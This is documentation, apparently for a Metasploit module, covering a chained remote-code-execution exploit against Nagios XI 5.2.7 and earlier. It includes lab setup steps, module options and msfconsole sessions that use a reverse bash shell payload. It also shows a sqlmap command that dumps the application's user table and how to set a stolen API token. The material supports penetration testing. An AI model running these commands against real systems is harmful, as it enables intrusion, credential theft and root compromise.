William Vu ade9c23772 Don't be lazy and spell out "introduction" in docs

Introduction

Nagios XI is the enterprise version of Nagios, the monitoring software we love and hate.

This module exploits an SQL injection, auth bypass, file upload, command injection, and privilege escalation in Nagios XI <= 5.2.7 to pop a root shell.

Setup

Download the virtual appliance:

I used the 64-bit OVA here. Remove the "-64" in the link to download the 32-bit OVA.

Import the OVA:

Just import it into VMware or VirtualBox. It should create a VM for you.

Configure the software:

When you start the VM, you will see Access Nagios XI at http://[redacted] on the login screen. Connect to the URL using your web browser and follow the steps on the screen to configure the app.

Configuration is actually not required to exploit the app, but you should do it anyway.

Options

USER_ID

If you wish to exploit a particular USER_ID, that can be specified here. Default is 1, which is most likely the admin account.

API_TOKEN

The SQLi included only works for MySQL, which should work in most cases. However, if you experience a different backend, you can enumerate the user table via sqlmap: sqlmap -u "http://[ip]/nagiosxi/includes/components/nagiosim/nagiosim.php?mode=resolve&host=a&service=" -p service -T xi_users --dump. Then you can set the USER_ID and API_TOKEN to skip those phases and move on to exploitation. Default is empty. See example below for more usage.

Usage

Typical Usage

Just set RHOST and fire off the module! It's pretty much painless. set VERBOSE true if you want to see details.

msf > use exploit/linux/http/nagios_xi_chained_rce 
msf exploit(nagios_xi_chained_rce) > set rhost [redacted]
rhost => [redacted]
msf exploit(nagios_xi_chained_rce) > set verbose true
verbose => true
msf exploit(nagios_xi_chained_rce) > run

Emulating a different DB

First we'll attempt the exploit and see what happens.

msf exploit(nagios_xi_chained_rce) > show options

Module options (exploit/linux/http/nagios_xi_chained_rce):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   API_TOKEN                   no        If an API token was already stolen, skip the SQLi
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOST      192.168.2.218    yes       The target address
   RPORT      80               yes       The target port

Payload options (cmd/unix/reverse_bash):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.2.117    yes       The listen address
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Nagios XI <= 5.2.7


msf exploit(nagios_xi_chained_rce) > exploit

[-] Exploit aborted due to failure: unexpected-reply: API token not found! punt!
[*] Exploit completed, but no session was created.

Now lets try using sqlmap to enumerate the user table.

root@k:~# sqlmap -u "http://192.168.2.218/nagiosxi/includes/components/nagiosim/nagiosim.php?mode=resolve&host=a&service=" -p service -T xi_users --dump

Re-target

Now, we can set the USER_ID and API_TOKEN (backend_ticket)

msf exploit(nagios_xi_chained_rce) > set USER_ID 2
USER_ID => 2
msf exploit(nagios_xi_chained_rce) > set API_TOKEN 8ftgcj2jubs8nrjnlga0ssakeen4ij8p339cl8shgom7kau7n86j3d6grsidgp6g
API_TOKEN => 8ftgcj2jubs8nrjnlga0ssakeen4ij8p339cl8shgom7kau7n86j3d6grsidgp6g
